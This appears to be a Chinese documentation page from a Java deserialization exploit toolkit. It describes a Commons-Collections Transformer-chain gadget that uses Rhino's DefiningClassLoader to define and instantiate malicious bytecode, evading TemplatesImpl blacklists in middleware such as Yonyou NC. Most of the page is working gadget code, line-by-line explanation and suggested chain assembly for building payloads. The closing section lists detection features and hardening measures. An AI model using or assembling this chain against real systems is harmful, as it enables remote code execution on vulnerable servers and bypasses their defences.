Skip to content

Latest commit

 

History

History
129 lines (109 loc) · 13.2 KB

File metadata and controls

129 lines (109 loc) · 13.2 KB

CC Transform链绕TemplaetsImpl黑名单(TransformerWithDefiningClassLoader2)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖<=commons-collections 3.2.1<=commons-collections 4.0jdk < 8;并需目标运行时存在 Rhino 库类 org.mozilla.javascript.DefiningClassLoader(如 rhino / 内嵌 Rhino 的中间件)。

作用

构造一条 Commons-Collections 风格的 Transformer[] 数组(ChainedTransformer 反射链),在反序列化触发链式反射时,org.mozilla.javascript.DefiningClassLoader 代替 TemplatesImpl 来加载并实例化恶意字节码。目的是绕过用友 NC 等中间件对 com.sun.org.apache.xalan...TemplatesImpl 类名的黑名单检测——整条链里根本不出现 TemplatesImpl,而是靠 Rhino 的 DefiningClassLoader.defineClass(String, byte[]) 直接把攻击字节码 define 成类再 newInstance() 触发静态块 / 构造器中的 payload。

它本身不是「入口」也不是「sink」,而是 CC 反射链的中间装配件:上游由 LazyMap/TransformingComparator 等 CC 触发点(tags=TransformerChains)驱动 ChainedTransformer.transform,下游由 BytecodeConvertnextTags=BytecodeConvertTag)提供要 define 的字节码。

链接标签

  • 入口 tagsTransformerChains —— 承接上一环「会遍历执行一个 Transformer 数组」的 CC 触发 gadget。典型上游为 CommonsCollectionsK3 / CommonsCollectionsK4(二者 nextTags=TransformerChains),即由 CC 的 LazyMap.get / TransformingComparator.compare 在原生反序列化时启动 ChainedTransformer
  • 衔接 nextTagsBytecodeConvertTag —— 之后必须接一个字节码提供者(tags=BytecodeConvertTag),如 BytecodeConvert(再下游 Bytecode),最终由 BytecodeFromBase64 / BytecodeFromHex / BytecodeFromLocalFile / BytecodeFromUploadFile 等给出实际恶意类字节。
  • excludes:无。

源码剖析

本类核心是 getObject(byte[]),它把「拿到类加载器 → 反射 define 类 → 实例化」编排成 7 个 Transformer,交给基类组装成目标 CC 版本对应类型的数组:

public Object getObject(byte[] bytecodes) throws Exception {
    LinkedList<Object> transformers = new LinkedList<Object>();
    transformers.add(this.createConstantTransformer(DefiningClassLoader.class));                        // ① 常量:Rhino DefiningClassLoader 的 Class 对象
    transformers.add(this.createInvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]})); // ② 取无参构造器
    transformers.add(this.createInvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}));          // ③ new DefiningClassLoader()
    transformers.add(this.createInvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{this.className, bytecodes})); // ④ defineClass(name, bytecodes) → 得到恶意类的 Class
    transformers.add(this.createInvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]})); // ⑤ 取恶意类无参构造器
    transformers.add(this.createInvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}));          // ⑥ 恶意类 newInstance() → 触发 payload
    transformers.add(this.createConstantTransformer(1));                                                 // ⑦ 收尾常量,返回无害值
    return this.createTransformerArray(transformers);
}

逐段解释(这是一条标准的 CC「getClass().newInstance() 反射拼装」思路,只是把常见的 Runtime.exec 换成 defineClass):

  • createConstantTransformer(DefiningClassLoader.class)ConstantTransformer 的输出恒为 DefiningClassLoader 这个 Class,作为整条 ChainedTransformer 的初始输入。
  • getDeclaredConstructor(new Class[0]):对上一步的 Class 反射调用,取得其无参构造器 Constructor
  • newInstance(new Object[0]):对 ConstructornewInstance,得到一个 DefiningClassLoader 实例(Rhino 的这个类加载器暴露 public 的 defineClass(String, byte[]),无需 setAccessible)。
  • 关键跳defineClass(this.className, bytecodes)——在该 ClassLoader 实例上把攻击字节码定义为名为 className 的类,返回其 Class 对象。这一步等价于 TemplatesImpl 内部的 defineClass,但对外类名/序列化指纹完全不含 TemplatesImpl
  • ⑤⑥ 再次 getDeclaredConstructor + newInstance,实例化刚 define 出来的恶意类,从而触发其构造器 / 静态初始化块中的 payload(与 TemplatesImpl 要求恶意类继承 AbstractTranslet 不同,这里对基类无强约束,恶意类可为普通类)。
  • ⑦ 末尾 ConstantTransformer(1):让 ChainedTransformer 最终返回一个无害值,避免上层因返回类型异常而报错、暴露栈痕迹。

数组的类型每个 Transformer 的具体实现类由基类根据 CC 版本动态解析,本类完全与 CC3/CC4 解耦:

public void initClazz(String version) throws ClassNotFoundException {
    if (version.equals("3")) {
        this.transformerClazz          = Class.forName("org.apache.commons.collections.Transformer");
        this.constantTransformerClazz  = Class.forName("org.apache.commons.collections.functors.ConstantTransformer");
        this.invokerTransformerClazz   = Class.forName("org.apache.commons.collections.functors.InvokerTransformer");
        this.instantiateTransformer    = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
    } else if (version.equals("4")) {
        this.transformerClazz          = Class.forName("org.apache.commons.collections4.Transformer");
        // ... collections4.functors.*
    } else {
        ThrowsUtil.throwGadgetException("CC " + version + " not found");
    }
}
public Object createTransformerArray(LinkedList<Object> transformers) throws ClassNotFoundException {
    Object transformerArray = Array.newInstance(this.transformerClazz, transformers.size());   // new Transformer[n](版本正确的类型)
    for (int i = 0; i < transformers.size(); ++i) Array.set(transformerArray, i, transformers.get(i));
    return transformerArray;
}
public Object createConstantTransformer(Object args) throws Exception {
    return Reflections.newInstance(this.constantTransformerClazz.getName(), new Class[]{Object.class}, args);
}
public Object createInvokerTransformer(Object ... args) throws Exception {
    return Reflections.newInstance(this.invokerTransformerClazz.getName(),
        new Class[]{String.class, Class[].class, Object[].class}, args);   // InvokerTransformer(methodName, paramTypes, args)
}

createTransformerArrayArray.newInstance(transformerClazz, n) 造出元素类型正确Transformer[](CC3 是 org.apache.commons.collections.Transformer[],CC4 是 collections4 版本),这样上游把它塞进 ChainedTransformer / TransformingComparator 时类型才匹配。createConstantTransformer / createInvokerTransformer 均通过 Reflections.newInstance 反射构造对应版本的 ConstantTransformer / InvokerTransformer,避免编译期硬依赖某个 CC 版本。

invoke 负责把上下文与下游字节码接起来:

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    String version = context.getString(ContextTag.CC_VERSION);   // 由上游 CC gadget 注入 "3" / "4"
    this.initClazz(version);                                      // 解析对应版本的 Transformer 家族类
    byte[] bytecodes = (byte[]) chain.doCreate(context);         // 向下游取要 define 的恶意类字节码
    this.className = context.getString(ContextTag.CLASS_NAME_KEY);// 恶意类名(写入 defineClass 第一参数)
    log.debug("get bytecode class name: " + this.className);
    return this.getObject(bytecodes);                            // 组装并返回 Transformer[]
}

符合本库「链由内向外构建」的约定:chain.doCreate(context) 先让下游(BytecodeConvert → 字节码源)产出 byte[],本 gadget 再把它包进 defineClass 那一环,返回的 Transformer[] 交由上游 CC 触发件包装成最终可序列化对象。CC_VERSIONCLASS_NAME_KEY 均来自 GadgetContext,实现与版本、类名解耦的可插拔装配。

与 TransformerWithDefiningClassLoader(v1)的区别

两者 getObject / invoke 逻辑完全一致,唯一差异是所用的 DefiningClassLoader 来源:

  • v1(TransformerWithDefiningClassLoader):sun.org.mozilla.javascript.internal.DefiningClassLoader —— JDK 6/7 rt.jar 内置的 Rhino(sun.org.mozilla.javascript.internal.*),无需目标额外引入依赖,但 JDK 8 起该内部包被移除。
  • v2(本条目):org.mozilla.javascript.DefiningClassLoader —— 第三方 Rhino 库(org.mozilla / rhino)的类,要求目标 classpath 存在独立 Rhino(很多企业中间件如 NC、WebSphere 环境自带)。二者互为「同一手法、不同类加载器来源」的备选,按目标是否有 rt.jar 内置 Rhino 或独立 Rhino 择一。

参数(@Param)

本类无 @Paramparams 为空)。运行所需的两个值均由链上下文注入,非用户直接在本 gadget 配置:

上下文键 来源 说明
ContextTag.CC_VERSION 上游 CC gadget(K3/K4 等) 选择 CC3 还是 CC4 的 Transformer 家族类
ContextTag.CLASS_NAME_KEY 全局 / 字节码环节 defineClass 的目标类名
字节码 byte[] 下游 BytecodeConvertBytecodeFrom* 被 define 的恶意类字节码(承载 payload)

适用版本与原理要点

  • CC 版本<= commons-collections 3.2.1<= commons-collections 4.0——即 InvokerTransformer 等 functors 尚可被反序列化触发的版本区间(3.2.2 起加了反序列化黑名单 / FunctorUtils 校验)。
  • JDK 版本jdk < 8。原因有二:其一,这一系列绕过手法主要在 JDK 6/7 上验证成功;其二,v2 依赖目标环境能被 Rhino DefiningClassLoader 正常 defineClass。JDK 8 环境请优先评估其他 sink。
  • 绕过要点:目标(用友 NC、WebSphere 等)对 TemplatesImpl 做类名黑名单时,本链不出现 TemplatesImpl,改用 Rhino DefiningClassLoader 完成「define + 实例化」达到相同的字节码加载效果。相比 TemplatesImpl 要求恶意类继承 AbstractTranslet,此法对恶意类基类无强制要求,payload 可写在构造器或静态块。
  • 前置条件:目标 classpath 必须能加载 org.mozilla.javascript.DefiningClassLoader(独立 Rhino)。若不存在则第 ① 步常量加载即失败,应改用 v1(内置 Rhino)或换 sink。

所属预设链

usedInChains 为空——自由构件,未直接出现在 51 条预设链中。作为绕过黑名单的替代 sink 段,通常手工组合为: [CommonsCollectionsK3 / K4, TransformerWithDefiningClassLoader2, BytecodeConvert, BytecodeFromBase64](上游 CC 触发 → 本装配件 → 字节码转换 → 字节码源)。

关联

  • 上游(nextTags=TransformerChains 的承接来源):CommonsCollectionsK3CommonsCollectionsK4 等 CC 触发件。
  • 下游(nextTags=BytecodeConvertTag):BytecodeConvertBytecodeFromBase64 / BytecodeFromHex / BytecodeFromLocalFile / BytecodeFromUploadFile
  • 同族变体:TransformerWithDefiningClassLoader(v1,JDK 内置 Rhino)、TransformerWithTemplatesImpl(标准 TemplatesImpl 路线)、TransformerWithURLClassLoaderTransformerWithBcelTransformerWithExec 等(均继承 AbstractTransformer,共用 initClazz / createXxxTransformer 工厂)。
  • 基类:AbstractTransformerinitClazz 版本解耦 + Transformer 工厂方法)。

防御与检测

  • 检测特征
    • 反序列化流量中出现 CC InvokerTransformer / ChainedTransformer 指纹,且反射目标方法链为 getDeclaredConstructor → newInstance → defineClass → getDeclaredConstructor → newInstance——defineClass 出现在 InvokerTransformer 的方法名字段是强告警信号。
    • 类名黑名单只拦 TemplatesImpl 会漏掉本链:应同时监控 org.mozilla.javascript.DefiningClassLoadersun.org.mozilla.javascript.internal.DefiningClassLoader 在反序列化上下文中被引用 / 加载。
    • 运行期:非预期地由 Rhino DefiningClassLoader.defineClass 定义随机 / 攻击类名并立即 newInstance
  • 加固建议
    • 升级 commons-collections 到 3.2.2+ / 4.1+(禁用危险 functors 的反序列化);根治则升级 JDK 到 8+ 并移除 / 隔离独立 Rhino 依赖。
    • 反序列化白名单(如 ValidatingObjectInputStream / JEP 290 ObjectInputFilter)——基于允许列表而非仅黑 TemplatesImpl,从根本上封堵此类「换加载器」绕过。
    • 若业务无需 Rhino 脚本能力,从中间件(NC / WebSphere)classpath 移除 rhino jar,使第 ① 步常量加载即失败。
    • 部署 RASP / 类加载钩子,对反序列化线程上下文中的 ClassLoader.defineClass 调用做拦截告警。